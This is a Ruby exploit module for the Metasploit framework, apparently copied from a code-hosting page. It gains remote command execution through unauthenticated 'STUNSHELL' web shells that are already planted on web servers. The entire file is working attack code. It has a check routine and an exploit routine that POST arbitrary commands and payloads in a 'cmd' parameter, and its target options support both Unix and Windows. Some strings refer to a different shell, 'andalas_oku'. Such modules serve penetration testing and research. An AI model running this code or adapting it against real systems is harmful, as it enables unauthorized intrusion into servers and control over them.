adfoster-r7
100 lines
2.9 KiB
Ruby
100 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'STUNSHELL Web Shell Remote Code Execution',
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'Description' => %q{
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This module exploits unauthenticated versions of the "STUNSHELL" web shell.
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This module works when safe mode is disabled on the web server. This shell is
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widely used in automated RFI payloads.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
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],
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'References' => [
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['OSVDB', '91842'],
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['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
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['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
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],
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'Privileged' => false,
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'Payload' => {
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'Space' => 10000, # Value determined by web server's POST limits
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Arch' => ARCH_CMD,
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'Targets' => [
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['stunshell / Unix', { 'Platform' => 'unix' } ],
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['stunshell / Windows', { 'Platform' => 'win' } ]
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],
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'DisclosureDate' => '2013-03-23',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the andalas_oku shell', '/IDC.php']),
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]
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)
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end
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def check
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uri = normalize_uri(target_uri.path.to_s)
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request_parameters = {
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'cmd' => "echo 'andalas_oku test parameter'"
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}
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}
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shell = send_request_cgi(request_parameters)
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if (shell and shell.body =~ /andalas_oku test parameter/)
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return Exploit::CheckCode::Vulnerable('Successfully verified webshell command execution')
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end
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return Exploit::CheckCode::Safe('The target is not vulnerable')
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end
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def http_send_command(cmd)
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uri = normalize_uri(target_uri.path.to_s)
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request_parameters = {
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'cmd' => cmd
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}
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}
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res = send_request_cgi(request_parameters)
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if !(res and res.code == 200)
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fail_with(Failure::Unknown, 'Failed to execute the command.')
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end
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end
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def exploit
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http_send_command(payload.encoded)
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end
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end
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